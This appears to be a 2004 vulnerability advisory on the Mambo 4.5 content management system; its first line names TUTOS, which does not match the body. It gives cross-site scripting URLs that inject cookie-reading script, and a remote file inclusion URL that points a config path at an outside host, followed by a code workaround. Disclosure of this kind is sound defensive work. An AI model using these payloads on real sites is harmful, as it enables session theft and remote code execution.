Vulnerabilities in TUTOS
---------------------------------------------------------------------------
Two Vulnerabilities in Mambo
---------------------------------------------------------------------------
Author: Jose Antonio Coret (Joxean Koret)
Date: 2004
Location: Basque Country
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mambo 4.5 (1.0.9)
Mambo is one of the most powerful Open
Source Content Management Systems on
the planet. It is used all over the world for
everything from simple websites
to complex corporate applications. Mambo is
easy to install, simple to manage,
and reliable.
Web : http://mamboserver.com/
---------------------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Cross Site Scripting
A1. The first vulnerability that I found is in the
script index.php. The following
parameters are vulnerables : Itemid, mosmsg
and limit.
Examples :
http://<site-with-mambo>/index.php?option=com_content&task=view&id=18&Itemid=39"><script>alert(document.cookie)</script>&mosmsg=<h1>Hi,
%20I%20am%20an%20XSS%
20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert(document.cookie)</script>&limitstart=1
B. Remote Code Execution
B1. The simple hack made to the Cache_library
makes mambo vulnerable to a
remote arbitrary code execution attacks.
Example :
http://<site-with-mambo>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://fucking.site.com/
Workaround:
~~~~~~~~~~~
The file
mambo/includes/Cache/Lite/Function.php looks
like :
<?php
/**
* This class extends Cache_Lite and can be
used to cache the result and output of
functions/methods
*
* This class is completly inspired from
Sebastian Bergmann's
* PEAR/Cache_Function class. This is only an
adaptation to
* Cache_Lite
*
* There are some examples in the
'docs/examples' file
* Technical choices are described in the
'docs/technical' file
*
* @package Cache_Lite
* @version $Id: Function.php,v 1.1 2004/07/21
13:38:58 rcastley Exp $
* @author Sebastian BERGMANN
<sb@xxxxxxxxxxxxxxxxxxxxx>
* @author Fabien MARTY <fab@xxxxxxx>
*/
require_once($mosConfig_absolute_path .
'/includes/Cache/Lite.php');
class Cache_Lite_Function extends Cache_Lite
...
Simply add the following 2 lines before the
require_once statement :
/** ensure this file is being included by a parent
file */
defined( '_VALID_MOS' ) or die( 'Direct Access to
this location is not allowed.' );
The fix:
~~~~~~~~
The bugs are fixed in the CVS version.
Disclaimer:
~~~~~~~~~~~
The information in this advisory and any of its
demonstrations is provided
"as is" without any warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of
using the information or demonstrations
provided in any part of this
advisory.
---------------------------------------------------------------------------
Contact:
~~~~~~~~
Joxean Koret at
joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es